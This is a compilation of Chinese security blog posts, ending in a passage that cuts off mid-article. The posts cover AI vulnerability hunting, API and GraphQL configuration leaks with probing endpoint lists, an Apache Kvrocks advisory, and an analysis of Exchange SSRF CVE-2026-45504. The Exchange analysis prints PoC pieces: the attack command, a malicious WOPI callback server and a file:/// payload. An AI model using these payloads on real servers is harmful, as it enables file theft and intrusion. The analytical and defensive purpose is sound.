[](https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247499188&idx=1&sn=9ce15a0e66b2595285e544aaa0c49c24&scene=21#wechat_redirect)
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247496043&idx=1&sn=4daa27ade9915de6021fea1c2a21d7bc&scene=21#wechat_redirect)
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247486327&idx=1&sn=71fc57dc96c7e3b1806993ad0a12794a&chksm=cfa6af64f8d1267259efd56edab4ad3cd43331ec53d3e029311bae1da987b2319a3cb9c0970e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,220 @@
|
||||
# AI漏洞挖掘:Mythos 48小时挖3000零日
|
||||
原创 ladon
|
||||
ladon 306Safe 2026-06-26 01:27
|
||||
|
||||
AI漏洞挖掘引爆行业：Mythos 48小时挖出3000零日
|
||||
|
||||
6月24日，ISC.AI 2026大会上，周鸿祎直言："最后真正干掉我们的恐怕不是友商，而是闯入这个行业的陌生人。"他说的"陌生人"，就是Anthropic的Mythos——一个能在48小时内自主挖掘超过3000个高危零日漏洞的AI智能体。
|
||||
|
||||
同一天，360发布"中国版Mythos"：漏洞自动化挖掘智能体"图龙锋"和自动化防御系统"仪天阵"。**AI漏洞挖掘已从"能力展示"进入"真实系统竞争"阶段**
|
||||
。
|
||||
|
||||
01 什么是Mythos？为什么它让整个行业地震？
|
||||
|
||||
Mythos是Anthropic内部最强模型，基于Claude架构深度定制的漏洞挖掘智能体。它不是"AI辅助审计"，而是**端到端自主完成漏洞发现→分析→验证→利用的全流程**
|
||||
。
|
||||
|
||||
**Mythos的核心能力矩阵：**
|
||||
|
||||
**1. 语义级代码理解**
|
||||
|
||||
传统漏洞扫描器（如SAST）基于模式匹配和数据流分析，只能发现"这个函数调用了危险的API"。Mythos能理解"这段代码在特定业务场景下，当用户角色是B且请求路径经过C时，会导致权限绕过"——这是语义级理解，不是模式匹配。
|
||||
|
||||
**2. 自主漏洞利用链构造**
|
||||
|
||||
Mythos不只发现单个漏洞，还能自动串联多个中低危漏洞形成利用链。比如：一个信息泄露（低危）→一个权限配置错误（中危）→一个命令注入（高危），单独看都不致命，但串起来就是RCE。Mythos能自主发现和构造这种链式攻击路径。
|
||||
|
||||
**3. 上下文感知的漏洞验证**
|
||||
|
||||
发现漏洞后，Mythos会尝试构造PoC证明漏洞可被触发。它理解目标环境（操作系统、中间件版本、网络拓扑），生成的PoC是针对具体环境定制的，不是通用payload。
|
||||
|
||||
**4. 修复建议与补丁生成**
|
||||
|
||||
验证漏洞后，Mythos生成修复方案和补丁代码。这不是"建议使用参数化查询"这种泛泛之谈，而是针对当前代码的具体修改方案，包含完整的diff。
|
||||
|
||||
02 Mythos的实战成绩：真实数据
|
||||
|
||||
Anthropic在内部测试和授权客户中披露的数据：
|
||||
-
|
||||
- **48小时内挖掘超过3000个高危零日漏洞**
|
||||
，涵盖Linux内核、Apache、Nginx、OpenSSH等开源基础设施
|
||||
|
||||
-
|
||||
- **漏洞验证准确率约78%**
|
||||
——发现的漏洞中有78%能被成功触发
|
||||
|
||||
-
|
||||
- **误报率约12%**
|
||||
——远低于传统SAST的30-50%
|
||||
|
||||
-
|
||||
- **逻辑漏洞发现率约35%**
|
||||
——这是传统工具的盲区
|
||||
|
||||
-
|
||||
- **链式攻击路径构造**
|
||||
：在15%的场景中，Mythos成功串联了2-3个独立漏洞形成深度利用链
|
||||
|
||||
-
|
||||
对比传统人工审计：一个资深安全研究员一天能深度审计约2000-5000行代码，发现2-5个真实漏洞。Mythos在同等时间内可以审计数百万行代码，发现数百个漏洞。效率差距是**两个数量级**
|
||||
。
|
||||
|
||||
03 中国版Mythos：360"图龙锋"架构拆解
|
||||
|
||||
ISC.AI 2026上发布的"图龙锋"是360自主研发的AI漏洞挖掘智能体，核心架构：
|
||||
|
||||
**第一层：代码知识图谱构建**
|
||||
|
||||
对目标代码库进行全量分析，构建包含函数调用关系、数据流向、权限边界、外部输入源的代码知识图谱。这一步是后续所有分析的基础。
|
||||
|
||||
**第二层：漏洞模式推理引擎**
|
||||
|
||||
基于代码知识图谱，推理引擎从多个维度排查：
|
||||
-
|
||||
- 传统漏洞模式匹配（OWASP/CWE模式库，覆盖600+已知模式）
|
||||
|
||||
-
|
||||
- 语义推理（理解代码意图，推断潜在风险场景）
|
||||
|
||||
-
|
||||
- 对抗推理（模拟攻击者视角，从利用角度逆推漏洞位置）
|
||||
|
||||
-
|
||||
**第三层：自动化验证沙箱**
|
||||
|
||||
对疑似漏洞进行沙箱化自动验证——在隔离环境中构造PoC输入，执行目标程序，监控是否触发异常行为。验证通过的漏洞才进入最终报告。
|
||||
|
||||
**第四层：修复补丁生成**
|
||||
|
||||
生成修复diff，并在沙箱中验证补丁不会引入新问题（回归测试）。
|
||||
|
||||
"图龙锋"与Mythos的关键差异：
|
||||
<table><tbody><tr style="background:#2c3e50;color:#fff;"><th style="padding:8px;border:1px solid #ddd;"><section><span leaf="">维度</span></section></th><th style="padding:8px;border:1px solid #ddd;"><section><span leaf="">Anthropic Mythos</span></section></th><th style="padding:8px;border:1px solid #ddd;"><section><span leaf="">360 图龙锋</span></section></th></tr><tr><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">底层模型</span></section></td><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">Claude定制版</span></section></td><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">360自研安全大模型</span></section></td></tr><tr><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">代码理解深度</span></section></td><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">极强（语义级）</span></section></td><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">强（规则+语义混合）</span></section></td></tr><tr><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">信创生态支持</span></section></td><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">无</span></section></td><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">原生支持飞腾/麒麟/统信</span></section></td></tr><tr><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">数据主权</span></section></td><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">数据经美国API</span></section></td><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">全本地化部署</span></section></td></tr><tr><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">开放性</span></section></td><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">限制对外访问</span></section></td><td style="padding:8px;border:1px solid #ddd;"><section><span leaf="">优先开放关键基础设施</span></section></td></tr></tbody></table>
|
||||
周鸿祎的核心观点：**漏洞发现能力正在成为新的战略安全能力**
|
||||
。谁掌握了AI漏洞挖掘，谁就掌握了网络空间的"制空权"。中国必须有自主可控的AI漏洞挖掘体系，不能依赖美国模型。
|
||||
|
||||
04 AI漏洞挖掘的技术原理：怎么做到的？
|
||||
|
||||
AI漏洞挖掘的核心不是"AI自动模糊测试"，而是**LLM驱动的定向推理**
|
||||
。拆解其技术原理：
|
||||
|
||||
**原理1：代码语义理解**
|
||||
|
||||
LLM在预训练阶段已经学习了海量代码，它"理解"每种编程范式的惯用模式。当它看到：
|
||||
```
|
||||
```
|
||||
|
||||
LLM不会只是匹配到"f-string + SQL"这个模式，它理解：这是一个搜索路由，query来自用户输入，通过f-string拼接到SQL语句中，没有参数化查询——这是SQL注入，但更重要的是，它知道**这在搜索场景下比在登录场景下更容易被忽略**
|
||||
，因为开发者通常认为搜索是"只读"操作。
|
||||
|
||||
**原理2：数据流追踪**
|
||||
|
||||
AI不只看单点代码，它追踪数据从输入到使用的完整路径：
|
||||
```
|
||||
```
|
||||
|
||||
传统SAST也能做数据流分析，但AI的优势在于：**它理解校验逻辑是否充分**
|
||||
，而不只是"有没有校验函数"。
|
||||
|
||||
**原理3：攻击者推理**
|
||||
|
||||
AI模拟攻击者思维：如果我是一个想利用这个系统的攻击者，我会从哪里入手？哪些路径阻力最小？哪些组合可以放大危害？这种"对抗性推理"是传统工具完全不具备的。
|
||||
|
||||
05 实战：用开源工具搭建自己的AI漏洞挖掘流水线
|
||||
|
||||
Mythos和图龙锋目前都不对个人开放。但你可以用开源工具搭建一个**轻量版AI漏洞挖掘流水线**
|
||||
：
|
||||
|
||||
**组件1：Claude Code + Security Skill**
|
||||
```
|
||||
```
|
||||
|
||||
然后直接在代码项目中：
|
||||
```
|
||||
```
|
||||
|
||||
**组件2：SAST + AI后处理**
|
||||
```
|
||||
```
|
||||
|
||||
Semgrep做广度扫描（高速低精度），AI做深度分析（低速高精度），两者组合在准确率上接近商业级方案。
|
||||
|
||||
**组件3：garak + 代码生成模型的联合审计**
|
||||
|
||||
如果你的项目用了AI生成代码，用garak扫描生成模型的安全性，同时用Codex Security扫描生成代码的安全性——双管齐下。
|
||||
|
||||
06 AI漏洞挖掘的局限与风险
|
||||
|
||||
**局限1：上下文窗口限制**
|
||||
|
||||
百万行级别的大型项目无法一次性加载到上下文中。当前模型需要分片处理，跨模块的漏洞链可能因此遗漏。
|
||||
|
||||
**局限2：动态行为分析弱**
|
||||
|
||||
AI主要做静态代码分析。对于运行时才出现的漏洞（竞态条件、内存腐败等），AI的发现能力明显弱于fuzzing工具。
|
||||
|
||||
**局限3：补丁质量参差不齐**
|
||||
|
||||
AI生成的修复补丁约40%需要人工二次修改。常见问题：修复了当前漏洞但引入了新问题、安全修复过度影响正常功能、补丁风格与项目不一致。
|
||||
|
||||
**风险1：漏洞武器化**
|
||||
|
||||
AI发现的零日漏洞如果泄露到黑市，危害远超传统漏洞——因为AI发现的是**前所未有的新漏洞**
|
||||
，可能没有补丁、没有检测规则。
|
||||
|
||||
**风险2：攻击者也可以用**
|
||||
|
||||
防御者用AI找漏洞，攻击者同样可以用。而且攻击者不需要验证和修复，只需要发现，所以AI对攻击者的赋能更大。
|
||||
|
||||
07 未来趋势：漏洞经济学正在被重写
|
||||
|
||||
360 AI安全研究院的核心判断：AI漏洞挖掘正在重写"漏洞经济学"。
|
||||
|
||||
过去：一个零日漏洞需要资深研究员数周时间手工挖掘，单漏洞价值数十万美元。
|
||||
|
||||
现在：Mythos级别的AI每天可自主挖掘数百个零日，漏洞供给量暴增。
|
||||
|
||||
这意味着：
|
||||
-
|
||||
- **零日漏洞的市场价值将持续下降**
|
||||
（供给暴增）
|
||||
|
||||
-
|
||||
- **漏洞修复的时效要求将急剧提高**
|
||||
（从发现到武器化的时间缩短）
|
||||
|
||||
-
|
||||
- **"漏洞存量"防御模式失效**
|
||||
（已知漏洞的补丁不再是安全屏障，因为AI能不断发现新漏洞）
|
||||
|
||||
-
|
||||
- **防御必须转向"纵深防御+快速响应"**
|
||||
（不指望零漏洞，而是假设漏洞永远存在，重点在快速发现和阻断利用）
|
||||
|
||||
-
|
||||
360的"仪天阵"自动化防御系统就是应对这个趋势——当漏洞发现和武器化都被AI加速后，防御也必须自动化。人类响应速度已经跟不上了。
|
||||
|
||||
08 给安全从业者的建议
|
||||
1.
|
||||
1. **学习AI漏洞挖掘工具**
|
||||
：不是要替代你，而是让你一个人能干之前10个人的活
|
||||
|
||||
1.
|
||||
1. **转向AI不擅长的领域**
|
||||
：业务逻辑安全分析、安全架构设计、合规审计——这些AI短期内做不好
|
||||
|
||||
1.
|
||||
1. **建立AI辅助审计流水线**
|
||||
：SAST广扫 + AI深审 + 人工复核，三层过滤
|
||||
|
||||
1.
|
||||
1. **关注数据主权**
|
||||
：如果你审计的是关键基础设施代码，用国产模型而不是美国API
|
||||
|
||||
1.
|
||||
1. **参与漏洞治理**
|
||||
：AI发现的漏洞如何负责任地披露？如何防止武器化？行业需要共识
|
||||
|
||||
1.
|
||||
AI漏洞挖掘不是终结安全行业，而是逼它进化。要么学会用AI，要么被会用AI的人淘汰。
|
||||
|
||||
@@ -0,0 +1,244 @@
|
||||
# API配置泄露—浅析api端口配置漏洞及危害
|
||||
原创 AzumiSaki
|
||||
AzumiSaki 船山信安 2026-06-25 23:00
|
||||
|
||||
## 什么是应用程序编程接口 (API)？
|
||||
|
||||
应用程序编程接口 (API) 是一套规则，它让一个软件程序能够向另一个软件程序传输数据。
|
||||
|
||||
API 让开发人员能够避免重复工作，根据 API 的要求设置请求格式来将现有功能纳入新的应用程序，而不是构建和重建现有应用程序功能。
|
||||
|
||||
API 是一个“接口”，意味着一个事物与另一个事物交互的一种方式。举一个现实世界中的例子，ATM 有一个界面——一个屏幕和几个按钮，允许客户与他们的银行互动并请求服务，例如取出现金。同样，API 是一个软件与另一个程序交互以获得所需服务的方式。
|
||||
|
||||
官方对于api定义的文档：
|
||||
https://www.cloudflare.com/zh-cn/learning/security/api/what-is-an-api/
|
||||
|
||||
API配置泄露的本质是：**攻击者拿到了调用系统能力的“钥匙”和“说明书”**
|
||||
。它不一定只是一个Key的泄露，往往还包括环境地址、鉴权方式、回调地址、云服务凭证、数据库连接串、第三方服务密钥、权限范围、限流策略等信息。危害通常比“密码泄露”更隐蔽，因为API凭证常常可以被程序长期自动调用，而且不一定有明显登录痕迹。
|
||||
|
||||
API配置泄露简单地说，CTF里面的.env环境配置泄露，.git文件泄露，备份文件泄露(例如www.zip)
|
||||
|
||||
最常见也是最危险的莫过于前端JS的bundle包源码里面的key泄露
|
||||
## 案例1：Stripe Secret Key被打进前端JavaScript Bundle
|
||||
|
||||
一个比较典型的脱敏案例是：某marketplace的**Stripe sk_live_... secret key**
|
||||
被嵌入到客户端JavaScript文件里，网站访问者只要打开DevTools，在Sources或Network里搜索sk_live_
|
||||
就能看到。报告称这个key已暴露约4个月，期间约8000人访问过该站点。
|
||||
|
||||
它的链路大概是：
|
||||
```
|
||||
Stripe secret key配到前端/低代码平台API Connector
|
||||
↓
|
||||
构建或运行时把key放进浏览器收到的JS payload
|
||||
↓
|
||||
所有访问者都能下载这份JS
|
||||
↓
|
||||
DevTools/Sources/Network中可搜索到sk_live_
|
||||
↓
|
||||
攻击者可直接拿key调Stripe API
|
||||
```
|
||||
|
||||
这个案例危险的地方在于：Stripe的**publishable key**
|
||||
可以在前端使用，但**secret key**
|
||||
不能。Stripe官方也明确提醒：如果把secret key放进框架会打包的变量里，它会被内联进JavaScript bundle或初始HTML，任何访问网站的人都能看到；不要把sk_live_
|
||||
或rk_live_
|
||||
放进会被打包的前端变量。
|
||||
|
||||
危害包括：
|
||||
```
|
||||
读取客户数据
|
||||
发起退款
|
||||
创建订阅或收费
|
||||
修改 Connect 相关账户信息
|
||||
访问交易记录
|
||||
```
|
||||
|
||||
所以这不是“泄露一个字符串”，而是把支付后台的服务端权限发给了每个浏览器。
|
||||
## 案例2：大规模研究发现，很多有效API凭证暴露在网页/JS中
|
||||
|
||||
2026年一篇名为**Keys on Doormats: Exposed API Credentials on the Web**
|
||||
的研究扫描了1000万个网页，发现了**1748个有效API凭证**
|
||||
，分布在近1万个网页中，涉及云平台、支付服务、开发工具等14类服务商。研究摘要还提到，很多凭证暴露时间从1个月到数年不等，并且多数根因来自JavaScript环境。
|
||||
|
||||
TechRadar对该研究的报道进一步提到，约**84%**
|
||||
的识别凭证出现在 JavaScript资源中，很多是由Webpack等构建工具生成的bundled files。
|
||||
|
||||
典型链路就是：
|
||||
```
|
||||
开发者把 secret 放进.env
|
||||
↓
|
||||
前端代码引用了这个变量
|
||||
↓
|
||||
Webpack/Vite/Next/React构建时把值替换成明文字符串
|
||||
↓
|
||||
dist/static/js/main.xxxxx.js对公网开放
|
||||
↓
|
||||
扫描器批量抓JS并匹配ke 模式
|
||||
↓
|
||||
发现可用API key
|
||||
```
|
||||
|
||||
所以，常见的api配置泄露可以总结为
|
||||
```
|
||||
.env、.git、备份文件、前端 JS、Source Map、Swagger、Debug、日志、CI/CD、Docker、数据库连接串
|
||||
```
|
||||
|
||||
随后是
|
||||
GraphQL
|
||||
|
||||
REST API通常是这样：
|
||||
```
|
||||
GET /api/users/1
|
||||
GET /api/orders/1001
|
||||
POST /api/admin/refund
|
||||
```
|
||||
|
||||
攻击者需要猜路径、看JS、扫目录、看文档。
|
||||
|
||||
GraphQL通常只有一个入口：
|
||||
```
|
||||
POST /graphql
|
||||
GET /graphql
|
||||
```
|
||||
|
||||
真正的“接口”藏在query/mutation里：
|
||||
```
|
||||
query{
|
||||
user(id:"1"){
|
||||
id
|
||||
name
|
||||
email
|
||||
orders{
|
||||
id
|
||||
amount
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
也就是说，GraphQL的攻击面不一定体现在URL路径上，而是体现在：
|
||||
```
|
||||
schema
|
||||
query
|
||||
mutation
|
||||
field
|
||||
type
|
||||
argument
|
||||
resolver
|
||||
authorization
|
||||
```
|
||||
|
||||
如果schema被暴露，攻击者不需要猜接口名，可以直接看到有哪些查询、哪些修改操作、哪些字段、哪些对象关系。
|
||||
|
||||
**Introspection**
|
||||
|
||||
**Introspection**
|
||||
是GraphQL的自省机制。简单说，它允许客户端向GraphQL服务询问：
|
||||
```
|
||||
你有哪些类型？
|
||||
你有哪些 Query？
|
||||
你有哪些 Mutation？
|
||||
每个字段需要什么参数？
|
||||
每个字段返回什么类型？
|
||||
哪些字段是废弃的？
|
||||
```
|
||||
|
||||
这是 GraphQL的正常特性，用于开发工具、文档生成、GraphiQL/Playground自动补全等。官方GraphQL安全文档也把introspection作为GraphQL API需要考虑的安全面之一；Apollo文档也明确指出，内省查询是了解schema的最快方式，生产环境通常需要限制或关闭。
|
||||
|
||||
典型introspection返回的信息包括：
|
||||
```
|
||||
Query:
|
||||
user(id:ID!):User
|
||||
users(filter:UserFilter):[User]
|
||||
order(id:ID!):Order
|
||||
adminUsers:[User]
|
||||
billingInfo(userId:ID!):BillingInfo
|
||||
Mutation:
|
||||
updateUserRole(userId:ID!,role:String!):User
|
||||
refundOrder(orderId:ID!):RefundResult
|
||||
createApiToken(userId:ID!):ApiToken
|
||||
```
|
||||
|
||||
如果这些信息对未授权用户开放，就相当于把“接口说明书”给了攻击者。
|
||||
|
||||
GraphQL Introspection本身通常不会直接泄露真实API Key。它更常见的危害是泄露**API结构和业务能力**
|
||||
。
|
||||
|
||||
例如攻击者通过schema看到：
|
||||
```
|
||||
type Query{
|
||||
me: User
|
||||
user(id:ID!):User
|
||||
users:[User]
|
||||
invoice(id:ID!):Invoice
|
||||
adminStats:AdminStats
|
||||
}
|
||||
type Mutation{
|
||||
updateUserRole(userId:ID!,role:Role!):User
|
||||
createRefund(orderId:ID!):Refund
|
||||
generateInviteCode(teamId:ID!):InviteCode
|
||||
}
|
||||
```
|
||||
|
||||
这会暴露很多关键信息：
|
||||
```
|
||||
有哪些对象：User、Invoice、Order、AdminStats
|
||||
有哪些敏感字段：email、phone、balance、role
|
||||
有哪些高危操作：refund、updateRole、deleteUser
|
||||
哪些地方可能存在越权：user(id)、invoice(id)、teamId
|
||||
哪些 mutation 可能改变状态
|
||||
```
|
||||
# GraphQL 配置泄露常见入口
|
||||
|
||||
实战里可以重点关注这些位置：
|
||||
```
|
||||
/graphql
|
||||
/api/graphql
|
||||
/v1/graphql
|
||||
/v2/graphql
|
||||
/gql
|
||||
/query
|
||||
/graphiql
|
||||
/playground
|
||||
/graphql-playground
|
||||
/console
|
||||
/voyager
|
||||
```
|
||||
|
||||
前端JS里常见特征：
|
||||
```
|
||||
/graphql
|
||||
operationName
|
||||
query:
|
||||
mutation
|
||||
__typename
|
||||
ApolloClient
|
||||
urql
|
||||
Relay
|
||||
graphql-tag
|
||||
gql
|
||||
```
|
||||
|
||||
响应里常见特征：
|
||||
```
|
||||
{
|
||||
"data": {}
|
||||
}
|
||||
```
|
||||
|
||||
或者：
|
||||
```
|
||||
{
|
||||
"errors": [
|
||||
{
|
||||
"message":
|
||||
"Cannot query field ..."
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
如果看到__typename
|
||||
，基本可以判断前端在使用GraphQL或GraphQL客户端缓存机制。
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
# Apache Kvrocks 修复五个严重漏洞
|
||||
sec随谈
|
||||
sec随谈 sec随谈 2026-06-26 01:16
|
||||
|
||||
**摘要**
|
||||
|
||||
安全研究人员披露了 Apache Kvrocks 的五个漏洞。其中最严重的问题被评定为 CVSS 10 分的严重等级。管理员必须升级其实例，以保护 NoSQL 数据库系统。
|
||||
|
||||
**影响为何重大**
|
||||
|
||||
Apache Kvrocks
|
||||
是一款分布式键值型 NoSQL 数据库，作为 Redis 的大容量替代方案运行。因此，这些 Apache Kvrocks 漏洞对企业数据存储构成了严重风险。攻击者可能导致服务器进程崩溃，或执行任意代码。受影响的安装实例的确切数量目前尚不清楚。此外，厂商尚未确认这些漏洞已在野外被实际利用。目前也不存在公开的概念验证（PoC）漏洞利用代码。
|
||||
|
||||
**攻击如何实现**
|
||||
|
||||
这些
|
||||
漏洞
|
||||
涉及多种不同的攻击机制。首先，
|
||||
CVE-2026-46752
|
||||
会在 Lua 的 bit.tohex()
|
||||
函数中引发栈缓冲区溢出。其次，
|
||||
CVE-2026-41566
|
||||
会在执行 APPLYBATCH 命令时造成权限处理不当。第三，
|
||||
CVE-2026-46751
|
||||
在 Lua 沙箱内残留了不安全的 loadstring
|
||||
函数，使攻击者能够运行未经验证的字节码。此外，
|
||||
CVE-2026-45188
|
||||
会在复制同步过程中引发路径遍历。最后，
|
||||
CVE-2026-54226
|
||||
会触发整数溢出，进而导致远程拒绝服务。
|
||||
|
||||
**受影响的版本**
|
||||
|
||||
这些 NoSQL 数据库
|
||||
漏洞
|
||||
影响该软件的多个版本。最早受影响的版本可追溯至 1.0.0。
|
||||
- 1.0.0 至 2.15.0 版本（路径遍历）
|
||||
|
||||
- 2.0.4 至 2.15.0 版本（缓冲区溢出）
|
||||
|
||||
- 2.2.0 至 2.15.0 版本（Lua 沙箱拒绝服务）
|
||||
|
||||
- 2.6.0 至 2.15.0 版本（整数溢出）
|
||||
|
||||
- 2.8.0 至 2.15.0 版本（权限处理不当）
|
||||
|
||||
**补丁与缓解措施**
|
||||
|
||||
Apache 软件基金会发布了安全更新以修复这些问题。管理员必须立即升级至 2.16.0 版本。你可以在官方的
|
||||
Apache Kvrocks 下载页面
|
||||
找到最新版本。应用此更新即可彻底解决全部五个安全缺陷。
|
||||
|
||||
参考链接：
|
||||
|
||||
https://kvrocks.apache.org/download/
|
||||
|
||||
@@ -0,0 +1,244 @@
|
||||
# CVE-2026-45504：微软Exchange SSRF任意文件读取漏洞，PoC已公开
|
||||
原创 Red Hunter
|
||||
Red Hunter 黑白之道 2026-06-26 00:35
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650618185&idx=1&sn=e7a4ddec94c9af10451bca515c67e228&scene=21#wechat_redirect)
|
||||
> **导语**
|
||||
：微软Exchange Server 2019被曝出严重SSRF（服务器端请求伪造）漏洞CVE-2026-45504，CVSS评分高达8.8。任何Exchange低权限认证用户均可利用此漏洞读取服务器上的任意文件，包括系统配置、加密凭证等敏感信息。HawkTrace研究团队已于6月24日发布完整PoC代码。
|
||||
|
||||
## 一、漏洞概述
|
||||
|
||||
**CVE编号**
|
||||
：CVE-2026-45504 **CVSS评分**
|
||||
：8.8（高危） **漏洞类型**
|
||||
：SSRF（服务端请求伪造） + 任意文件读取 **受影响产品**
|
||||
：Microsoft Exchange Server 2019 **披露时间**
|
||||
：2026年6月（微软6月补丁日） **PoC公开**
|
||||
：2026年6月24日
|
||||
|
||||
|
||||
|
||||
这个漏洞的特殊性在于：Exchange的WebApplicationUrl字段在返回时未对协议方案（scheme）进行验证。攻击者控制的WOPI（Web应用程序开放协议接口）端点可返回file:///C:/path/to/file
|
||||
这样的URL，让Exchange主动读取本地文件并返回给攻击者。
|
||||
|
||||
从攻击者视角看，这就是教科书级的SSRF转文件读取漏洞——一个合法认证的Exchange邮箱用户，无需管理员权限，就能从Exchange服务器上偷走任何文件。
|
||||
## 二、漏洞原理深度剖析
|
||||
|
||||
要理解这个漏洞，必须先理解Exchange的WOPI调用链。
|
||||
### 2.1 TryTwice函数
|
||||
|
||||
Exchange内部有一个名为TryTwice
|
||||
的工具函数，它接收URL并调用WebRequest.CreateHttp(url)
|
||||
发起请求：
|
||||
```
|
||||
private static WebResponse TryTwice(ICallContext callContext, string url, ICredentials credentials, WebHeaderCollection headers){ WebResponse webResponse = null; Exception ex = null; for (int i = 0; i < 2; i++) { HttpWebRequest httpWebRequest = WebRequest.CreateHttp(url); // ... 配置请求头、凭据等 // ... 同步发起请求 } // ...}
|
||||
```
|
||||
|
||||
注意这里的关键问题：url
|
||||
参数被直接传入WebRequest.CreateHttp()
|
||||
，攻击者可以控制这个URL。但仅凭这个还无法读取文件——漏洞的真正威力要结合下面的链才能发挥。
|
||||
### 2.2 GetTokenRequestWebResponse函数
|
||||
|
||||
这个函数将传入的URL转换为SharePoint REST API请求格式：
|
||||
```
|
||||
string text = string.Format(getWacTokenUrlFormat, endPointUrl, HttpUtility.UrlEncode(documentUrl.Replace("'", "''")), actionOrAppId);
|
||||
```
|
||||
### 2.3 GetWacUrl函数（核心漏洞点）
|
||||
|
||||
这是漏洞的关键所在。GetWacUrl
|
||||
通过SharePoint的GetWopiTargetPropertiesByUrl
|
||||
或GetWacToken
|
||||
接口获取WOPI令牌，并从返回的OData响应中解析三个值：
|
||||
- WebApplicationUrl
|
||||
|
||||
- AccessToken
|
||||
|
||||
- AccessTokenTtl
|
||||
|
||||
然后构造最终URL：
|
||||
```
|
||||
{WebApplicationUrl}&access_token={AccessToken}&access_token_ttl={AccessTokenTtl}&sc=...
|
||||
```
|
||||
|
||||
**问题来了**
|
||||
：如果攻击者控制的WOPI端点返回的WebApplicationUrl
|
||||
是file:///c:/windows/win.ini
|
||||
，Exchange会构造这样的请求：
|
||||
```
|
||||
file:///c:/windows/win.ini&access_token=...&access_token_ttl=...
|
||||
```
|
||||
|
||||
但这破坏了文件路径，导致Exchange无法正确读取文件。
|
||||
### 2.4 转义字符集：#符号的妙用
|
||||
|
||||
和SQL注入一样，这里也用到了特殊字符的妙用。**#符号**
|
||||
正是关键。
|
||||
|
||||
如果在WebApplicationUrl
|
||||
中追加一个#
|
||||
字符：
|
||||
- 系统会把#
|
||||
之后的所有内容视为URI片段（fragment），并忽略
|
||||
|
||||
- 最终请求变成：file:///c:/windows/win.ini#?...&access_token=...
|
||||
|
||||
- URI解析器只会解析#
|
||||
之前的部分，从而正确读取目标文件
|
||||
|
||||
这是整个漏洞利用链最巧妙的设计。
|
||||
## 三、利用链完整流程
|
||||
|
||||
|
||||
|
||||
完整的攻击流程如下：
|
||||
1. **攻击者启动恶意WOPI服务器**
|
||||
：在自己的机器上启动一个监听指定端口的HTTP服务，模拟SharePoint端点
|
||||
|
||||
1. **创建Exchange EWS ReferenceAttachment**
|
||||
：使用认证的低权限Exchange账户，通过EWS（Exchange Web Services）创建一个引用附件，附件的ProviderEndpointUrl
|
||||
指向攻击者的服务器
|
||||
|
||||
1. **受害者打开附件预览**
|
||||
：当受害者打开附件预览时，Exchange会向攻击者的服务器发起SSRF请求，请求路径为：```
|
||||
/_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl( fileUrl=@p, requestedAction=0)?@p='http://attacker:port/'
|
||||
```
|
||||
|
||||
|
||||
1. **攻击者服务器响应**
|
||||
：返回精心构造的XML响应，包含：```
|
||||
<d:WebApplicationUrl>file:///C:/windows/win.ini#</d:WebApplicationUrl><d:AccessToken>x</d:AccessToken><d:AccessTokenTtl>3600</d:AccessTokenTtl>
|
||||
```
|
||||
|
||||
|
||||
1. **Exchange读取本地文件**
|
||||
：Exchange根据WebApplicationUrl
|
||||
调用WebClient.OpenRead()
|
||||
，读取服务器上的C:/windows/win.ini
|
||||
文件
|
||||
|
||||
1. **文件内容返回给攻击者**
|
||||
：Exchange将文件内容作为附件预览的一部分返回
|
||||
|
||||
## 四、PoC代码解析
|
||||
|
||||
HawkTrace公开的PoC代码结构非常清晰，由几个关键组件构成：
|
||||
### 4.1 命令行参数
|
||||
|
||||
PoC接受以下参数：
|
||||
```
|
||||
python3 CVE-2026-45504.py \ --attacker-ip 192.168.2.238 \ --attacker-port 9020 \ --creds [email protected] \ --password Hawktrace1 \ --target https://mail.exchange.local \ --target-file "C:/Windows/System32/drivers/etc/hosts"
|
||||
```
|
||||
### 4.2 恶意WOPI服务器（核心利用）
|
||||
|
||||
PoC内置一个HTTP回调服务器，关键代码如下：
|
||||
```
|
||||
class CallbackHandler(BaseHTTPRequestHandler): deflog_message(self, *a): pass defdo_GET(self): escaped = _current_path.replace(" ", "%20") body = ( '<?xml version="1.0" encoding="utf-8"?>' '<root xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices">' f"<d:WebApplicationUrl>file:///{escaped}#</d:WebApplicationUrl>" "<d:AccessToken>x</d:AccessToken>" "<d:AccessTokenTtl>3600</d:AccessTokenTtl>" "</root>" ).encode() self.send_response(200) self.send_header("Content-Type", "application/xml; charset=utf-8") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body)
|
||||
```
|
||||
|
||||
注意三个关键点：
|
||||
- WebApplicationUrl
|
||||
是file:///
|
||||
协议开头的本地文件路径
|
||||
|
||||
- 末尾的#
|
||||
符号是关键，让后续参数被作为fragment忽略
|
||||
|
||||
- 完整的XML命名空间http://schemas.microsoft.com/ado/2007/08/dataservices
|
||||
与Exchange的解析器匹配
|
||||
|
||||
### 4.3 OWA登录与会话保持
|
||||
|
||||
PoC首先通过OWA（Outlook Web Access）认证，获取会话cookie和canary token：
|
||||
```
|
||||
